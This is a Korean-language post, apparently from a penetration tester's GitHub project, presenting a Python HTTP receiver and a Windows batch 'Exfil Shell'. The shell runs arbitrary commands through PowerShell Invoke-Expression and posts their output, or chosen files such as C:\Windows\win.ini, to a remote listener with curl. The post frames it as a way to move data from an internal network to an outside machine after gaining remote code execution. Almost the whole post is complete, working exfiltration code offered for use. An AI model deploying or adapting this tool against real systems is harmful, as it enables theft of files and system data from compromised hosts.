github: https://github.com/piroim/Python-script/tree/main/curl_request
1. curl_request 요약¶
모의해킹 및 침투 테스트를 진행하는 경우에 필요한 데이터를 빠르게 전송해야 하는 경우도 생깁니다.
- 내부망에서 외부망으로 데이터를 보내는 경우
- 내부 시스템(RCE)로 들어왔을 때, WebShell을 사용해서 한 번에 추출할 수 있지만 특정 파일들만 빠르게 보내고 식별하려는 경우
1.1. 환경 구성¶
Python http 모듈을 사용하면 http 웹 서버를 가볍게 사용할 수 있습니다.
데이터를 전송할 때는 curl 또는 powershell을 이용해서 전송하는 것으로, 별다른 프로그램 설치 없이 사용할 수 있어야 합니다.
2. 사용방법¶
-
http_receiver.py실행 (포트 개별 지정)- 기본 값:
0.0.0.0:8080
- 기본 값:
-
curl_request.bat실행- 입력한 명령어 결과 및 파일은
./files에 저장
- 입력한 명령어 결과 및 파일은
#1. URL 설정
set-url http://10.10.10.10:12345
#2. 명령어 및 데이터 기반 저장
send-data whoami
send-data ipconfig /all
#3. 파일 형태 저장
send-file C:\Windows\win.ini (절대경로)
send-file filename.py (현재경로)
3. 스크립트 설명¶
3.1. python http 서버 스크립트 (http_receiver.py)¶
local에서 http 서버를 오픈해서 사용할 수 있지만, 외부에서 데이터를 전송할 때에는 동일한 네트워크 대역이 아니라면 포트포워딩 등의 과정이 필요합니다.
네트워크 환경에 맞춰서 사용하면 되며, 내부에 적용이 필요하면 별도의 설정을 해주셔야합니다
주요 기능으로는 다음과 같습니다.
- POST로 요청되는 데이터 및 명령어의 결과 값을 파일명으로 저장 (
files폴더에 저장되도록 설정) - 파일의 경우 원본 그대로 저장되도록 설정(multipart 사용)
from http.server import BaseHTTPRequestHandler, HTTPServer
import os, re
from datetime import datetime
FILES_DIR = "./files"
os.makedirs(FILES_DIR, exist_ok=True)
def parse_multipart(data: bytes, boundary: str) -> list[tuple[str, bytes]]:
sep = ("--" + boundary).encode()
parts = data.split(sep)
results = []
for part in parts[1:]:
if part in (b"--\r\n", b"--"):
break
if b"\r\n\r\n" not in part:
continue
header_raw, body = part.split(b"\r\n\r\n", 1)
body = body.rstrip(b"\r\n")
header_str = header_raw.decode(errors="replace")
m = re.search(r'filename="([^"]+)"', header_str)
fname = os.path.basename(m.group(1)) if m else "upload.bin"
results.append((fname, body))
return results
def normalize_newlines(data: bytes) -> bytes:
"""CRLF → LF 정규화"""
return data.replace(b"\r\n", b"\n").replace(b"\r", b"\n")
def to_utf8(data: bytes) -> bytes:
"""CP949(EUC-KR) 또는 기타 인코딩 → UTF-8 변환. 이미 UTF-8이면 그대로 반환."""
try:
data.decode("utf-8")
return data
except UnicodeDecodeError:
pass
try:
return data.decode("cp949").encode("utf-8")
except UnicodeDecodeError:
return data.decode("cp949", errors="replace").encode("utf-8")
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
ctype = self.headers.get("Content-Type", "")
length = int(self.headers.get("Content-Length", 0))
data = self.rfile.read(length)
# multipart (curl -F "file=@...")
if "multipart" in ctype:
m = re.search(r'boundary=(.+)', ctype)
boundary = m.group(1).strip() if m else ""
for fname, content in parse_multipart(data, boundary):
path = os.path.join(FILES_DIR, fname)
with open(path, "wb") as f:
f.write(to_utf8(normalize_newlines(content)))
print(f"[+] File saved : {path}")
# 일반 텍스트 (curl -d @- 또는 curl -d "...")
else:
ts = datetime.now().strftime("%y%m%d")
# URL path에 파일명이 있으면 그걸 사용 (예: /ipconfig.txt)
url_fname = os.path.basename(self.path.lstrip("/"))
fname = url_fname if url_fname else f"text_{ts}.txt"
path = os.path.join(FILES_DIR, fname)
content = to_utf8(normalize_newlines(data))
# 파일명 지정된 경우 덮어쓰기, text_날짜 는 누적 append
mode = "ab" if not url_fname else "wb"
with open(path, mode) as f:
f.write(content + (b"\n" if mode == "ab" else b""))
preview = content[:300].decode(errors='replace')
print(f"[+] Text saved : {path}")
print(f" Preview ---\n{preview}\n ---")
self.send_response(200)
self.end_headers()
def log_message(self, *a):
pass
if __name__ == "__main__":
port = 12345
print(f"[*] Listening on 0.0.0.0:{port} → saving to {FILES_DIR}/")
HTTPServer(("0.0.0.0", port), Handler).serve_forever()
3.2. 데이터/파일 요청 .bat 파일¶
@echo off
setlocal enabledelayedexpansion
chcp 65001 > nul
:: ANSI 활성화
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 /f > nul 2>&1
:: ESC 문자 주입 (0x1B)
for /f %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a"
set "GREEN=%ESC%[32m"
set "RED=%ESC%[31m"
set "YELLOW=%ESC%[33m"
set "RESET=%ESC%[0m"
set BASE_URL=http://1.1.1.1:12345
echo ==========================================
echo Exfil Shell ^| !BASE_URL!
echo ==========================================
echo send-data "command" : execute and send
echo send-file "filepath" : send file
echo set-url "http://..." : change target URL
echo exit : quit
echo ==========================================
echo.
:loop
set "INPUT="
set /p "INPUT=> "
:: 빈 입력 무시
if not defined INPUT goto loop
:: exit
if /i "!INPUT!"=="exit" goto :end
:: ── set-url ───────────────────────────────
set "MATCHED="
echo(!INPUT! | findstr /i "^set-url" > nul && set "MATCHED=1"
if defined MATCHED (
set "NEW_URL=!INPUT:~8!"
set "NEW_URL=!NEW_URL:"=!"
if not defined NEW_URL (
echo !RED![-] URL cannot be empty.!RESET!
goto loop
)
set "BASE_URL=!NEW_URL!"
echo !YELLOW![*] URL changed : !BASE_URL!!RESET!
goto loop
)
:: ── send-data ─────────────────────────────
set "MATCHED="
echo(!INPUT! | findstr /i "^send-data" > nul && set "MATCHED=1"
if defined MATCHED (
set "CMD=!INPUT:~10!"
set "CMD=!CMD:"=!"
if not defined CMD (
echo !RED![-] No command specified.!RESET!
goto loop
)
:: 파일명 결정
for /f "tokens=1" %%a in ("!CMD!") do set "BIN=%%a"
set "FNAME=!BIN!.txt"
echo(!BIN! | findstr /i "\." > nul
if !errorlevel!==0 set "FNAME=!BIN!"
:: PowerShell로 실행 → Out-String으로 줄바꿈 보존 → 임시 파일 저장
set "TMPFILE=%TEMP%\exfil_tmp.txt"
powershell -NoProfile -Command "[Console]::OutputEncoding=[System.Text.Encoding]::GetEncoding(949); $h='===cmd: !CMD!==='; $r=(Invoke-Expression '!CMD!') | Out-String; ($h + \"`r`n\" + $r) | Set-Content -Encoding UTF8 '!TMPFILE!'"
:: --data-binary 로 줄바꿈 그대로 전송
curl.exe -s -o nul -w "%%{http_code}" -X POST !BASE_URL!/!FNAME! --data-binary @"!TMPFILE!" > "%TEMP%\exfil_status.txt" 2> "%TEMP%\exfil_err.txt"
set "CEL=!errorlevel!"
if !CEL! neq 0 (
set /p "CURL_ERR="<"%TEMP%\exfil_err.txt"
echo !RED![-] curl error : !CURL_ERR!!RESET!
del "!TMPFILE!" > nul 2>&1
goto loop
)
set /p "STATUS="<"%TEMP%\exfil_status.txt"
if "!STATUS!"=="200" (
echo !GREEN![+] Success : !FNAME! sent ^| !BASE_URL!/!FNAME!!RESET!
) else (
echo !RED![-] Failed : HTTP !STATUS! ^| !BASE_URL!/!FNAME!!RESET!
)
del "!TMPFILE!" > nul 2>&1
goto loop
)
:: ── send-file ─────────────────────────────
set "MATCHED="
echo(!INPUT! | findstr /i "^send-file" > nul && set "MATCHED=1"
if defined MATCHED (
set "FPATH=!INPUT:~10!"
set "FPATH=!FPATH:"=!"
if not defined FPATH (
echo !RED![-] No file path specified.!RESET!
goto loop
)
if not exist "!FPATH!" (
echo !RED![-] File not found : !FPATH!!RESET!
goto loop
)
for %%a in ("!FPATH!") do set "FNAME=%%~nxa"
curl.exe -s -o nul -w "%%{http_code}" -X POST !BASE_URL!/!FNAME! -F "file=@!FPATH!" > "%TEMP%\exfil_status.txt" 2> "%TEMP%\exfil_err.txt"
set "CEL=!errorlevel!"
if !CEL! neq 0 (
set /p "CURL_ERR="<"%TEMP%\exfil_err.txt"
echo !RED![-] curl error : !CURL_ERR!!RESET!
goto loop
)
set /p "STATUS="<"%TEMP%\exfil_status.txt"
if "!STATUS!"=="200" (
echo !GREEN![+] Success : !FNAME! sent ^| !BASE_URL!/!FNAME!!RESET!
) else (
echo !RED![-] Failed : HTTP !STATUS! ^| !BASE_URL!/!FNAME!!RESET!
)
goto loop
)
:: 알 수 없는 명령어
echo !RED![-] Unknown command. Use send-data, send-file, set-url, or exit.!RESET!
goto loop
:end
echo !YELLOW![*] Bye.!RESET!
endlocal